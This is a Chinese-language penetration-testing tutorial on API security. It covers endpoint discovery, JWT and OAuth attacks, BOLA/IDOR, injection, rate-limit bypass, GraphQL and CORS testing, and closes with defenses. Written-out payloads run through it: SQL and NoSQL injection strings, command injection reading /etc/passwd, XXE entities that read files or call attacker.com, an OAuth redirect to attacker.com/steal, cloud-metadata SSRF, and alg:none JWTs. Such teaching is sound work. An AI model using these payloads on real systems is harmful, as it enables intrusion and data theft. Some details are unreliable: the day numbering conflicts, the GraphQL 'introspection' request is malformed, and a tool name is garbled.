Day-195-渗透测试中的 API 安全测试

# Day 239: 渗透测试中的 API 安全测试

> 渗透测试系列第 29 天 | 预计阅读时间：35 分钟 | 难度：★★★★☆

---

## 清单 目录
1. [API 安全概述](#api-安全概述)
2. [API 架构与协议](#api-架构与协议)
3. [API 信息收集](#api-信息收集)
4. [API 认证测试](#api-认证测试)
5. [API 授权测试](#api-授权测试)
6. [输入验证测试](#输入验证测试)
7. [速率限制测试](#速率限制测试)
8. [GraphQL 安全测试](#graphql-安全测试)
9. [REST API 安全测试](#rest-api-安全测试)
10. [API 工具栈](#api-工具栈)
11. [检测与防御](#检测与防御)
12. [实战案例](#实战案例)
13. [总结与思考](#总结与思考)
14. [参考资料](#参考资料)

---

## API 安全概述

### 什么是 API

API (Application Programming Interface) 是应用程序之间通信的接口规范。在现代 Web 应用中，API 已成为前后端分离架构的核心组件，负责数据传输和业务逻辑暴露。

```
┌─────────────────────────────────────────────────────────────────┐
│                    API 在现代应用中的角色                        │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  传统 Web 应用：                                                 │
│  ┌──────────┐    ┌──────────┐    ┌──────────┐                  │
│  │  浏览器   │ →  │  Web 服务器 │ →  │  数据库   │                  │
│  │          │    │  (渲染 HTML)│    │          │                  │
│  └──────────┘    └──────────┘    └──────────┘                  │
│                                                                 │
│  现代 API 驱动应用：                                             │
│  ┌──────────┐    ┌──────────┐    ┌──────────┐                  │
│  │ Web/移动  │ →  │   API     │ →  │  数据库   │                  │
│  │   客户端   │    │  (JSON/XML)│    │          │                  │
│  └──────────┘    └──────────┘    └──────────┘                  │
│       ↑                ↑                                        │
│       │                │                                        │
│  ┌──────────┐    ┌──────────┐                                  │
│  │ 第三方应用 │    │ 微服务   │                                  │
│  └──────────┘    └──────────┘                                  │
│                                                                 │
│  API 攻击面：                                                    │
│  ├── 认证机制 (JWT, OAuth, API Key)                             │
│  ├── 授权控制 (权限验证)                                        │
│  ├── 输入验证 (注入攻击)                                        │
│  ├── 速率限制 (滥用防护)                                        │
│  └── 数据暴露 (信息泄露)                                        │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
```

### 为什么 API 安全至关重要

在多年的应用渗透测试中，我观察到 API 安全的重要性体现在以下几个方面：

1. **直接数据访问**: API 直接暴露业务逻辑和数据
2. **缺乏 UI 保护**: 没有前端验证和 CSRF 保护
3. **自动化攻击**: API 易于自动化攻击和扫描
4. **文档暴露**: OpenAPI/Swagger 文档可能泄露敏感信息
5. **版本管理**: 旧版本 API 可能未打补丁
6. **第三方集成**: API 密钥泄露影响供应链安全

### API 安全风险排名 (OWASP API Security Top 10)

```
OWASP API Security Top 10 (2023):
├── API1:2023 Broken Object Level Authorization (BOLA)
├── API2:2023 Broken Authentication
├── API3:2023 Broken Object Property Level Authorization
├── API4:2023 Unrestricted Resource Consumption
├── API5:2023 Broken Function Level Authorization
├── API6:2023 Unrestricted Access to Sensitive Business Flows
├── API7:2023 Server Side Request Forgery (SSRF)
├── API8:2023 Security Misconfiguration
├── API9:2023 Improper Inventory Management
└── API10:2023 Unsafe Consumption of APIs
```

---

## API 架构与协议

### API 类型

```
API 类型对比:
├── REST (Representational State Transfer)
│   ├── 特点：无状态、资源导向、HTTP 方法
│   ├── 数据格式：JSON、XML
│   ├── 优点：简单、成熟、广泛支持
│   └── 缺点：过度获取/获取不足数据
├── GraphQL
│   ├── 特点：查询语言、客户端定义响应
│   ├── 数据格式：JSON
│   ├── 优点：精确获取数据、减少请求数
│   └── 缺点：复杂查询、性能问题
├── SOAP (Simple Object Access Protocol)
│   ├── 特点：XML 协议、严格规范
│   ├── 数据格式：XML
│   ├── 优点：安全标准完善、事务支持
│   └── 缺点：复杂、性能较低
├── gRPC (Google RPC)
│   ├── 特点：HTTP/2、Protocol Buffers
│   ├── 数据格式：二进制
│   ├── 优点：高性能、强类型
│   └── 缺点：工具支持较少
└── WebSocket
    ├── 特点：双向通信、持久连接
    ├── 数据格式：自定义
    ├── 优点：实时通信、低延迟
    └── 缺点：连接管理复杂
```

### API 认证机制

```
常见 API 认证机制:
├── API Key
│   ├── 原理：静态密钥，通常在 Header 中
│   ├── 优点：简单、易于实现
│   └── 缺点：密钥泄露风险、无过期机制
├── JWT (JSON Web Token)
│   ├── 原理：签名令牌，包含声明
│   ├── 优点：无状态、可包含用户信息
│   └── 缺点：令牌泄露、签名算法弱点
├── OAuth 2.0
│   ├── 原理：授权框架，访问令牌
│   ├── 优点：第三方授权、细粒度控制
│   └── 缺点：实现复杂、配置错误风险
├── Basic Auth
│   ├── 原理：Base64 编码的用户名密码
│   ├── 优点：简单、广泛支持
│   └── 缺点：凭证每次传输、需 HTTPS
└── Session/Cookie
    ├── 原理：服务器端会话，Cookie 存储
    ├── 优点：成熟、可撤销
    └── 缺点：状态管理、CSRF 风险
```

---

## API 信息收集

### API 端点发现

#### 文档和 Swagger

```bash
# 常见 API 文档位置
# Swagger/OpenAPI
https://api.target.com/swagger.json
https://api.target.com/swagger/v1/swagger.json
https://api.target.com/api-docs
https://api.target.com/v1/api-docs

# GraphQL Playground
https://api.target.com/graphql
https://api.target.com/graphiql
https://api.target.com/playground

# WSDL (SOAP)
https://api.target.com/service?wsdl

# 使用工具扫描
# 使用 gobuster
gobuster dir -u https://api.target.com -w api-wordlist.txt

# 使用 dirsearch
python3 dirsearch.py -u https://api.target.com -e json,xml
```

#### 自动化发现工具

```bash
# 使用 Kiterunner
# https://github.com/assetnote/kiterunner
kr scan https://api.target.com -w routes-small.kitecontent -t 50

# 使用 Arjun (参数发现)
python3 arjun.py -u https://api.target.com/endpoint

# 使用 ParamMiner (Burp 扩展)
# 发现隐藏参数和头
```

#### JavaScript 文件分析

```bash
# 提取 JS 文件中的 API 端点
curl -s https://target.com/app.js | grep -oE 'https?://[^"'\''<> ]+' | sort -u

# 使用 JSParser
# https://github.com/nahamsec/JSParser
python3 jsparser.py https://target.com/app.js

# 使用 LinkFinder
# https://github.com/GerbenJavado/LinkFinder
python3 linkfinder.py -i https://target.com/app.js -o cli
```

### API 版本枚举

```bash
# 常见 API 版本模式
# URL 路径版本
https://api.target.com/v1/users
https://api.target.com/v2/users
https://api.target.com/v3/users

# 子域名版本
https://v1.api.target.com/users
https://v2.api.target.com/users

# Header 版本
Accept: application/vnd.api.v1+json
Accept: application/vnd.api.v2+json

# 使用工具枚举
for version in v1 v2 v3 api; do
    curl -s -o /dev/null -w "%{http_code}" https://api.target.com/$version/users
done
```

### API 流量捕获

```
API 流量捕获方法:
├── 浏览器开发者工具
│   └── Network 标签捕获请求
├── 代理工具
│   ├── Burp Suite
│   ├── OWASP ZAP
│   └── mitmproxy
├── 移动应用
│   ├── Frida 拦截
│   ├── Xposed 模块
│   └── 证书安装抓包
└── 桌面应用
    ├── Fiddler
    ├── Charles Proxy
    └── Wireshark
```

---

## API 认证测试

### API Key 测试

#### 常见测试点

```
API Key 测试清单:
├── 密钥格式分析
│   ├── 长度、字符集、前缀
│   └── 是否可预测/枚举
├── 密钥位置
│   ├── Header (X-API-Key)
│   ├── Query 参数 (?api_key=)
│   ├── Body 参数
│   └── Cookie
├── 密钥验证
│   ├── 空密钥
│   ├── 无效密钥
│   ├── 过期密钥
│   └── 删除的密钥
├── 密钥权限
│   ├── 不同密钥不同权限
│   └── 权限提升测试
└── 密钥管理
    ├── 密钥轮换
    ├── 密钥撤销
    └── 密钥速率限制
```

#### 测试示例

```bash
# 测试空密钥
curl -H "X-API-Key:" https://api.target.com/users

# 测试无效密钥
curl -H "X-API-Key: invalid" https://api.target.com/users

# 测试密钥枚举
for key in $(seq -w 1000 9999); do
    curl -s -o /dev/null -w "%{http_code}" -H "X-API-Key: $key" \
        https://api.target.com/users
done

# 测试密钥位置
curl -H "X-API-Key: validkey" https://api.target.com/users
curl https://api.target.com/users?api_key=validkey
curl -X POST -d "api_key=validkey" https://api.target.com/users
```

### JWT 测试

#### JWT 结构分析

```
JWT 结构:
├── Header (头部)
│   ├── alg: 签名算法
│   └── typ: 令牌类型
├── Payload (负载)
│   ├── sub: 主题 (用户 ID)
│   ├── iss: 签发者
│   ├── exp: 过期时间
│   └── 自定义声明
└── Signature (签名)
    ├── HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
    └── 或其他算法
```

#### JWT 攻击技术

```
JWT 常见攻击:
├── 无算法攻击 (alg: none)
│   └── 修改 alg 为 none，移除签名
├── 算法混淆攻击
│   └── RS256 改为 HS256，使用公钥作为 HMAC 密钥
├── 密钥暴力破解
│   └── 弱密钥可被破解
├── 声明篡改
│   ├── 修改用户 ID
│   ├── 修改角色/权限
│   └── 修改过期时间
├── Key ID 注入 (kid)
│   ├── SQL 注入
│   ├── 路径遍历
│   └── 命令注入
└── 令牌重放
    └── 使用过期/撤销的令牌
```

#### JWT 测试工具

```bash
# 使用 jwt_tool
# https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py JWT_TOKEN_HERE

# 扫描所有攻击
python3 jwt_tool.py JWT_TOKEN_HERE -M all

# 暴力破解密钥
python3 jwt_tool.py JWT_TOKEN_HERE -C -p password.txt

# 使用 jwt.io 手动测试
# https://jwt.io/

# 使用 Burp Suite JWT 扩展
# 安装 JWT Editor 扩展
```

#### JWT 测试示例

```bash
# 原始 JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

# 攻击 1: 无算法
# 修改 Header 为 {"alg": "none", "typ": "JWT"}
# 移除签名部分
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIn0.

# 攻击 2: 修改角色
# 解码 Payload，修改 role 为 admin
# 重新签名 (如果密钥已知或可破解)

# 攻击 3: kid 路径遍历
# 修改 Header 为 {"alg": "HS256", "typ": "JWT", "kid": "../../../etc/passwd"}
```

### OAuth 2.0 测试

#### OAuth 流程测试

```
OAuth 2.0 授权流程:
├── 1. 客户端重定向到授权服务器
├── 2. 用户授权
├── 3. 授权服务器返回授权码
├── 4. 客户端用授权码换取访问令牌
└── 5. 客户端使用访问令牌访问 API

测试点:
├── 重定向 URI 操纵
├── 授权码窃取
├── 令牌泄露
├── 范围提升
└── 刷新令牌滥用
```

#### OAuth 测试示例

```bash
# 测试重定向 URI
# 合法请求
GET /authorize?client_id=CLIENT_ID&redirect_uri=https://app.com/callback&response_type=code

# 恶意重定向
GET /authorize?client_id=CLIENT_ID&redirect_uri=https://attacker.com/steal&response_type=code

# 测试范围提升
# 请求超出授权的范围
scope=read write admin

# 令牌测试
# 使用过期令牌
curl -H "Authorization: Bearer EXPIRED_TOKEN" https://api.target.com/users

# 使用无效令牌
curl -H "Authorization: Bearer INVALID_TOKEN" https://api.target.com/users
```

---

## API 授权测试

### BOLA/IDOR 测试

#### 原理

```
BOLA (Broken Object Level Authorization):
├── 原理：API 未验证用户是否有权访问指定对象
├── 影响：访问其他用户数据
└── 常见位置：资源 ID 参数

IDOR (Insecure Direct Object Reference):
├── BOLA 的一种形式
├── 直接引用对象 ID
└── 无访问控制检查
```

#### 测试示例

```bash
# 正常请求
GET /api/v1/users/123/profile
Authorization: Bearer USER_A_TOKEN

# 测试 IDOR
# 修改用户 ID
GET /api/v1/users/124/profile
Authorization: Bearer USER_A_TOKEN

# 批量测试
for id in $(seq 100 200); do
    curl -s -H "Authorization: Bearer USER_A_TOKEN" \
        https://api.target.com/api/v1/users/$id/profile | grep -v "unauthorized"
done

# 测试 UUID/GUID
# 如果 ID 是 UUID，尝试枚举或使用其他用户的 UUID
GET /api/v1/users/550e8400-e29b-41d4-a716-446655440000/profile

# 测试 Base64 编码 ID
# 如果 ID 是 Base64 编码，解码后修改再编码
echo -n "123" | base64  # MTIz
echo -n "124" | base64  # MTI0
```

### 功能级授权测试

```
Broken Function Level Authorization:
├── 原理：未验证用户是否有权执行特定操作
├── 影响：执行未授权操作
└── 常见位置：管理端点、敏感操作

测试示例:
# 普通用户尝试管理操作
POST /api/v1/admin/users/delete
Authorization: Bearer NORMAL_USER_TOKEN
{"user_id": 123}

# 修改 HTTP 方法
GET /api/v1/admin/users  # 可能允许
POST /api/v1/admin/users  # 应该禁止
DELETE /api/v1/admin/users/123  # 应该禁止

# 测试 API 版本
GET /api/v1/admin/users  # 可能有限制
GET /api/v2/admin/users  # 可能无限制 (旧版本)
```

### 属性级授权测试

```
Broken Object Property Level Authorization:
├── 原理：用户可修改不应允许的属性
├── 影响：提升权限、绕过限制
└── 常见位置：用户资料、订单、配置

测试示例:
# 正常用户资料更新
PUT /api/v1/users/123/profile
Authorization: Bearer USER_TOKEN
{"name": "John", "email": "john@example.com"}

# 尝试修改受保护属性
PUT /api/v1/users/123/profile
Authorization: Bearer USER_TOKEN
{"name": "John", "email": "john@example.com", "role": "admin", "is_premium": true}

# 测试价格修改
POST /api/v1/orders
Authorization: Bearer USER_TOKEN
{"product_id": 1, "quantity": 1, "price": 0.01}  # 修改价格
```

---

## 输入验证测试

### SQL 注入测试

```bash
# 测试 SQL 注入
# 在参数中测试
GET /api/v1/users?id=1' OR '1'='1
GET /api/v1/users?id=1; DROP TABLE users--
GET /api/v1/users?id=1 UNION SELECT null,null,null--

# JSON Body 测试
POST /api/v1/users/login
Content-Type: application/json
{"username": "admin' OR '1'='1", "password": "anything"}

# Header 测试
GET /api/v1/users
X-Forwarded-For: 127.0.0.1' OR '1'='1

# 使用 sqlmap
sqlmap -u "https://api.target.com/api/v1/users?id=1" --batch
sqlmap -u "https://api.target.com/api/v1/users/login" \
    --data '{"username":"admin","password":"pass"}' \
    --headers "Content-Type: application/json"
```

### NoSQL 注入测试

```bash
# MongoDB 注入测试
# JSON 参数
POST /api/v1/users/login
Content-Type: application/json
{"username": {"$ne": null}, "password": {"$ne": null}}

# 测试 $where
POST /api/v1/users/search
{"$where": "this.username == 'admin'"}

# 测试 $or
POST /api/v1/users/search
{"$or": [{"username": "admin"}, {"username": {"$exists": true}}]}

# 测试投影
GET /api/v1/users?projection={"password": 1}
```

### 命令注入测试

```bash
# 测试命令注入
# 在参数中测试
GET /api/v1/ping?host=127.0.0.1;id
GET /api/v1/ping?host=127.0.0.1|id
GET /api/v1/ping?host=127.0.0.1%3Bid

# JSON Body 测试
POST /api/v1/system/exec
{"command": "ls -la; cat /etc/passwd"}

# 常见注入点
# - 文件操作参数
# - 系统命令参数
# - 邮件发送参数
# - URL 重定向参数
```

### XXE 测试

```bash
# XXE (XML External Entity) 测试
# 仅适用于接受 XML 输入的 API

POST /api/v1/users
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
    <name>&xxe;</name>
</user>

# 测试外部实体
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "http://attacker.com/xxe">
]>

# 测试 SSRF 通过 XXE
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
```

### SSRF 测试

```bash
# SSRF (Server Side Request Forgery) 测试
# 测试 URL 参数

POST /api/v1/fetch
{"url": "http://169.254.169.254/latest/meta-data/"}

# 测试内网地址
POST /api/v1/fetch
{"url": "http://192.168.1.1/admin"}

# 测试绕过
POST /api/v1/fetch
{"url": "http://127.0.0.1:8080/admin"}
{"url": "http://0.0.0.0:8080/admin"}
{"url": "http://localhost:8080/admin"}
{"url": "http://[::1]:8080/admin"}

# 使用 DNS 重绑定
# 使用工具测试
# https://github.com/tcstool/NoSQLMap
# https://github.com/swisskyrepo/SSRFmap
```

---

## 速率限制测试

### 速率限制绕过

```
速率限制测试清单:
├── 基本测试
│   ├── 发送大量请求
│   └── 观察响应头 (X-RateLimit-*)
├── IP 绕过
│   ├── X-Forwarded-For Header
│   ├── X-Real-IP Header
│   └── 多 IP 轮换
├── 用户代理绕过
│   ├── 修改 User-Agent
│   └── 多 User-Agent 轮换
├── 参数绕过
│   ├── 添加随机参数
│   └── 修改参数顺序
└── 端点绕过
    ├── 测试不同 HTTP 方法
    ├── 测试不同 API 版本
    └── 测试相似端点
```

### 测试示例

```bash
# 基本速率限制测试
for i in $(seq 1 100); do
    curl -s -o /dev/null -w "%{http_code}\n" \
        -H "Authorization: Bearer TOKEN" \
        https://api.target.com/api/v1/users
done

# IP Header 绕过
curl -H "X-Forwarded-For: 10.0.0.1" https://api.target.com/api/v1/login
curl -H "X-Forwarded-For: 10.0.0.2" https://api.target.com/api/v1/login
curl -H "X-Real-IP: 10.0.0.1" https://api.target.com/api/v1/login

# User-Agent 绕过
for ua in "Mozilla/5.0" "curl/7.68" "PostmanRuntime/7.28"; do
    curl -H "User-Agent: $ua" https://api.target.com/api/v1/login
done

# 使用工具测试
# 使用 turbotools
# https://github.com/alexa-labs/turbotools
python3 ratelimit_test.py -u https://api.target.com/api/v1/login
```

### 暴力破解测试

```bash
# API 登录暴力破解
# 使用 burpsuite intruder
# 或使用自定义脚本

# 使用 hydra
hydra -L users.txt -P passwords.txt -s 443 https-post \
    "/api/v1/login:username=^USER^&password=^PASS^:F=invalid"

# 使用自定义脚本
python3 api_bruteforce.py \
    -u https://api.target.com/api/v1/login \
    -U users.txt -P passwords.txt

# 测试密码重置
POST /api/v1/password/reset
{"email": "target@example.com"}
# 测试枚举 (响应差异)
# 测试速率限制
# 测试令牌预测
```

---

## GraphQL 安全测试

### GraphQL 信息收集

```bash
# GraphQL 端点发现
# 常见位置
https://api.target.com/graphql
https://api.target.com/graphiql
https://api.target.com/graphql.php
https://api.target.com/v1/graphql

# 内省查询
POST https://api.target.com/graphql
Content-Type: application/json

{
    "__schema": {
        "queryType": {"name": "Query"},
        "mutationType": {"name": "Mutation"},
        "types": {"name": true, "fields": {"name": true}}
    }
}

# 使用工具
# 使用 graphwlf
# https://github.com/dolevf/graphwlf
python3 graphwlf.py -u https://api.target.com/graphql

# 使用 inql
# https://github.com/doyensec/inql
inql scan -u https://api.target.com/graphql
```

### GraphQL 攻击技术

```
GraphQL 常见攻击:
├── 深度查询攻击
│   └── 嵌套查询导致资源耗尽
├── 批量查询攻击
│   └── 多个查询在单个请求中
├── 字段枚举
│   └── 发现隐藏字段
├── 内省禁用绕过
│   └── 尝试绕过内省禁用
└── 注入攻击
    ├── SQL 注入
    ├── NoSQL 注入
    └── 命令注入
```

#### 深度查询攻击

```graphql
# 深度查询示例
# 嵌套查询消耗服务器资源

query {
    user {
        friends {
            friends {
                friends {
                    friends {
                        friends {
                            name
                        }
                    }
                }
            }
        }
    }
}

# 测试不同深度
for depth in 1 5 10 15 20; do
    curl -X POST https://api.target.com/graphql \
        -d "{\"query\": \"$(generate_depth_query $depth)\"}"
done
```

#### 批量查询攻击

```graphql
# 批量查询示例
# 单个请求中多个查询

query {
    user1: user(id: 1) { name email }
    user2: user(id: 2) { name email }
    user3: user(id: 3) { name email }
    # ... 更多查询
}

# 测试速率限制绕过
# 单个请求算作一次，但执行多个查询
```

#### 字段枚举

```graphql
# 枚举所有字段
{
    __type(name: "User") {
        fields {
            name
            type {
                name
                kind
            }
        }
    }
}

# 发现敏感字段
# - password
# - token
# - apiKey
# - secret
```

---

## REST API 安全测试

### REST 测试清单

```
REST API 安全测试清单:
├── HTTP 方法测试
│   ├── GET: 数据获取
│   ├── POST: 数据创建
│   ├── PUT: 数据更新
│   ├── PATCH: 部分更新
│   ├── DELETE: 数据删除
│   └── OPTIONS: 跨域配置
├── 状态码测试
│   ├── 200: 成功
│   ├── 201: 创建成功
│   ├── 400: 错误请求
│   ├── 401: 未授权
│   ├── 403: 禁止访问
│   ├── 404: 未找到
│   └── 500: 服务器错误
├── 内容类型测试
│   ├── application/json
│   ├── application/xml
│   ├── multipart/form-data
│   └── application/x-www-form-urlencoded
└── 响应头测试
    ├── Content-Type
    ├── CORS Headers
    ├── Security Headers
    └── Cache Headers
```

### HTTP 方法测试

```bash
# 测试 HTTP 方法
# OPTIONS 请求 (CORS 配置)
OPTIONS https://api.target.com/api/v1/users
# 检查 Access-Control-Allow-Methods

# 方法覆盖
POST https://api.target.com/api/v1/users
X-HTTP-Method-Override: DELETE

# 测试不支持的方法
DELETE https://api.target.com/api/v1/users/123
# 应该返回 405 Method Not Allowed

# 测试 TRACE 方法 (信息泄露)
TRACE https://api.target.com/api/v1/users
# 应该返回 405
```

### CORS 测试

```bash
# CORS (Cross-Origin Resource Sharing) 测试
# 测试任意 Origin

curl -H "Origin: https://attacker.com" \
    https://api.target.com/api/v1/users

# 检查响应头
# Access-Control-Allow-Origin: *  (过于宽松)
# Access-Control-Allow-Origin: https://attacker.com  (配置错误)
# Access-Control-Allow-Credentials: true  (配合任意 Origin 危险)

# 测试 null Origin
curl -H "Origin: null" \
    https://api.target.com/api/v1/users

# 使用工具
# 使用 corsy
# https://github.com/s0md3v/Corsy
python3 corsy.py -u https://api.target.com
```

---

## API 工具栈

### 信息收集工具

| 工具 | 用途 | 链接 |
|------|------|------|
| **Kiterunner** | API 端点发现 | https://github.com/assetnote/kiterunner |
| **Arjun** | 参数发现 | https://github.com/s0md3v/Arjun |
| **LinkFinder** | JS 文件分析 | https://github.com/GerbenJavado/LinkFinder |
| **JSParser** | JS 文件分析 | https://github.com/nahamsec/JSParser |
| **Postman** | API 测试 | https://www.postman.com/ |

### 测试工具

| 工具 | 用途 | 链接 |
|------|------|------|
| **Burp Suite** | 综合测试 | https://portswigger.net/burp |
| **OWASP ZAP** | 综合测试 | https://www.zaproxy.org/ |
| **jwt_tool** | JWT 测试 | https://github.com/ticarpi/jwt_tool |
| **sqlmap** | SQL 注入 | https://sqlmap.org/ |
| **NoSQLMap** | NoSQL 注入 | https://github.com/tcstool/NoSQLMap |
| **SSRFmap** | SSRF 测试 | https://github.com/swisskyrepo/SSRFmap |

### GraphQL 工具

| 工具 | 用途 | 链接 |
|------|------|------|
| **graphwlf** | GraphQL 指纹 | https://github.com/dolevf/graphwlf |
| **inql** | GraphQL 扫描 | https://github.com/doyensec/inql |
| **GraphQL Voyager** | GraphQL 可视化 | https://graphql-voyager.now.sh/ |
| **Altair** | GraphQL 客户端 | https://altair.sirmuel.design/ |

### 自动化扫描器

```bash
# 使用 42Crunch API Security Scanner
# https://www.42crunch.com/

# 使用 Akto
# https://github.com/aktosecurity/akto
docker run -p 8080:8080 akto/aktodashboard

# 使用 Noname Security
# 商业解决方案

# 使用 Traceable AI
# 商业解决方案
```

---

## 检测与防御

### API 安全最佳实践

```
API 安全防御清单:
├── 认证
│   ├── 使用强认证机制 (OAuth 2.0, JWT)
│   ├── 实施 MFA
│   ├── 定期轮换密钥
│   └── 安全存储密钥
├── 授权
│   ├── 实施对象级授权
│   ├── 实施功能级授权
│   ├── 最小权限原则
│   └── 定期审查权限
├── 输入验证
│   ├── 白名单验证
│   ├── 类型检查
│   ├── 长度限制
│   └── 格式验证
├── 速率限制
│   ├── 基于 IP 限制
│   ├── 基于用户限制
│   ├── 基于端点限制
│   └── 动态调整
├── 监控
│   ├── 记录所有请求
│   ├── 异常检测
│   ├── 告警配置
│   └── 日志分析
└── 文档
    ├── 维护 API 文档
    ├── 版本管理
    ├── 废弃旧版本
    └── 安全指南
```

### 安全响应头

```
API 安全响应头:
├── Content-Type: application/json; charset=utf-8
├── X-Content-Type-Options: nosniff
├── X-Frame-Options: DENY
├── X-XSS-Protection: 1; mode=block
├── Strict-Transport-Security: max-age=31536000; includeSubDomains
├── Content-Security-Policy: default-src 'none'
├── Cache-Control: no-store
└── Access-Control-Allow-Origin: [具体域名，非*]
```

### API 网关安全

```
API 网关安全配置:
├── 认证网关
│   ├── 统一认证
│   ├── 令牌验证
│   └── 速率限制
├── WAF 集成
│   ├── OWASP Top 10 防护
│   ├── API 特定规则
│   └── 自定义规则
├── 日志记录
│   ├── 所有请求日志
│   ├── 错误日志
│   └── 审计日志
└── 监控告警
    ├── 异常流量检测
    ├── 错误率监控
    └── 响应时间监控
```

### 监控指标

```
关键 API 安全指标:
├── 认证失败率
│   └── 突然增加可能表示暴力破解
├── 授权失败率
│   └── 可能表示 BOLA/IDOR 攻击
├── 错误率
│   └── 突然增加可能表示扫描/攻击
├── 响应时间
│   └── 突然增加可能表示 DoS
├── 请求量
│   └── 异常峰值可能表示攻击
└── 数据输出量
    └── 异常增加可能表示数据窃取
```

---

## 实战案例

### 案例一：电商平台 API 渗透测试

#### 场景描述

```
客户：某电商平台
API 类型：REST + GraphQL
认证：JWT
目标：评估 API 安全性
时间：2 周
```

#### 发现的问题

```
严重:
├── 1. BOLA/IDOR 漏洞
│   - 可访问其他用户订单
│   - 可修改其他用户地址
├── 2. JWT 无算法攻击
│   - 接受 alg:none 的令牌
├── 3. SQL 注入
│   - 搜索端点存在注入
└── 4. 价格修改
    - 可修改订单价格

高危:
├── 5. 速率限制缺失
│   - 登录端点无限制
├── 6. CORS 配置错误
│   - 允许任意 Origin
└── 7. 敏感数据暴露
    - 响应中包含密码哈希

中危:
├── 8. 旧版本 API 未废弃
│   - v1 API 存在已知漏洞
├── 9. 错误信息泄露
│   - 堆栈跟踪暴露
└── 10. 缺少安全响应头
```

#### 修复建议

```
短期 (1-2 周):
├── [ ] 修复 BOLA/IDOR 漏洞
├── [ ] 修复 JWT 验证逻辑
├── [ ] 修复 SQL 注入
└── [ ] 添加速率限制

中期 (1-3 个月):
├── [ ] 实施 API 网关
├── [ ] 部署 WAF
├── [ ] 完善日志记录
└── [ ] 废弃旧版本 API

长期 (3-6 个月):
├── [ ] 实施零信任架构
├── [ ] 部署 API 安全监控
├── [ ] 定期安全测试
└── [ ] 建立 API 安全规范
```

---

## 总结与思考

### 核心要点回顾

1. **API 安全是现代应用安全的核心**
   - API 直接暴露业务逻辑和数据
   - 缺乏 UI 层保护
   - 易于自动化攻击

2. **认证和授权是关键**
   - JWT 安全配置至关重要
   - OAuth 实现复杂易错
   - BOLA/IDOR 是最常见漏洞

3. **输入验证不可忽视**
   - SQL/NoSQL 注入仍然普遍
   - SSRF 风险增加
   - XXE 在 XML API 中存在

4. **速率限制是基础防护**
   - 防止暴力破解
   - 防止资源滥用
   - 需要多层实施

5. **监控和响应是保障**
   - 记录所有请求
   - 异常行为检测
   - 快速响应机制

### 深入思考

#### API 安全的独特挑战

1. **版本管理**: 旧版本 API 难以完全废弃
2. **文档暴露**: OpenAPI/Swagger 可能泄露敏感信息
3. **第三方集成**: API 密钥管理复杂
4. **微服务架构**: 服务间 API 安全难以统一
5. **GraphQL 复杂性**: 查询深度和批量攻击难以防护

#### API 安全未来趋势

1. **API 安全网关**: 统一安全策略实施
2. **AI/ML 检测**: 异常行为智能识别
3. **零信任架构**: 持续验证和最小权限
4. **自动化测试**: CI/CD 集成安全测试
5. **标准化**: OpenAPI 安全规范普及

### 实战建议

1. **对渗透测试人员**:
   - 学习 API 特定攻击技术
   - 掌握 API 测试工具
   - 理解业务逻辑
   - 关注 OWASP API Top 10

2. **对开发人员**:
   - 实施认证授权
   - 输入验证
   - 速率限制
   - 安全响应头

3. **对组织**:
   - 制定 API 安全规范
   - 部署 API 网关
   - 定期安全测试
   - 建立监控响应

---

## 参考资料

### 学习资源

- **OWASP API Security Top 10**
  - https://owasp.org/www-project-api-security/

- **API Security Best Practices**
  - https://www.42crunch.com/api-security-best-practices/

- **GraphQL Security**
  - https://www.graphql.com/security/

### 工具资源

| 工具 | 用途 | 链接 |
|------|------|------|
| **Burp Suite** | 综合测试 | https://portswigger.net/burp |
| **OWASP ZAP** | 综合测试 | https://www.zaproxy.org/ |
| **jwt_tool** | JWT 测试 | https://github.com/ticarpi/jwt_tool |
| **Kiterunner** | API 发现 | https://github.com/assetnote/kiterunner |
| **inql** | GraphQL 扫描 | https://github.com/doyensec/inql |
| **sqlmap** | SQL 注入 | https://sqlmap.org/ |
| **Postman** | API 测试 | https://www.postman.com/ |

### 书籍推荐

1. **《API Security in Action》**
   - 作者：Neil Madden
   - API 安全权威指南

2. **《Hacking APIs》**
   - 作者： Corey Ball
   - API 渗透测试实战

3. **《GraphQL Security》**
   - 作者： Ehsan Naderi
   - GraphQL 安全指南

4. **《OWASP API Security Top 10》**
   - OWASP 官方文档
   - API 安全风险详解

---

*365 天信息安全技术系列 | Day 239 | 渗透测试系列 | API 安全测试*
*创建时间：2026-04-12 | 作者：安全专家 · 严谨专业版*